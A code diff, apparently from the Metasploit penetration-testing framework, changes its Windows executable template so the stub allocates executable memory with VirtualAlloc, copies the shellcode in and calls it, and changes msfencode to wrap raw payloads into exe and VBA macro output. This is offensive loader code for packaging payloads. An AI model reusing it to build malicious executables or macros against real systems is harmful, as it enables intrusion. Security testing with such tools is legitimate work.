diff --git a/data/templates/template.exe b/data/templates/template.exe index 617f709b7d..c4974f44ab 100644 Binary files a/data/templates/template.exe and b/data/templates/template.exe differ diff --git a/data/templates/template.s b/data/templates/template.s index e410de9415..2848249f7a 100644 --- a/data/templates/template.s +++ b/data/templates/template.s @@ -6,14 +6,22 @@ _code: .globl _WinMain@16 .def _WinMain@16; .scl 2; .type 32; .endef _WinMain@16: + xorl %eax,%eax -movl $_code,%ecx pushl $_ExitProcess@4 pushl %fs:(%eax) movl %esp,%fs:(%eax) -pushl %eax + pushl $0x40 -pushl $8192 -pushl %ecx -pushl %ecx -jmp _VirtualProtect@16 +pushl $0x3000 +pushl $0x100000 +pushl $0 +call _VirtualAlloc@16 + +movl %eax, %ebp +movl %eax, %edi +movl $_code,%esi +mov $2048, %ecx +rep movsd + +call %ebp diff --git a/msfencode b/msfencode index b075766379..98ceb62e11 100755 --- a/msfencode +++ b/msfencode @@ -170,7 +170,7 @@ case cmd case fmt when 'exe' - exe = Rex::Text.to_win32pe(buf, "") + exe = Rex::Text.to_win32pe(raw, "") if(not output) $stdout.write(exe) else @@ -179,7 +179,7 @@ case cmd end end when 'vba' - exe = Rex::Text.to_win32pe(buf, "") + exe = Rex::Text.to_win32pe(raw, "") vba = Rex::Text.to_exe_vba(exe) if(not output) $stdout.write(vba)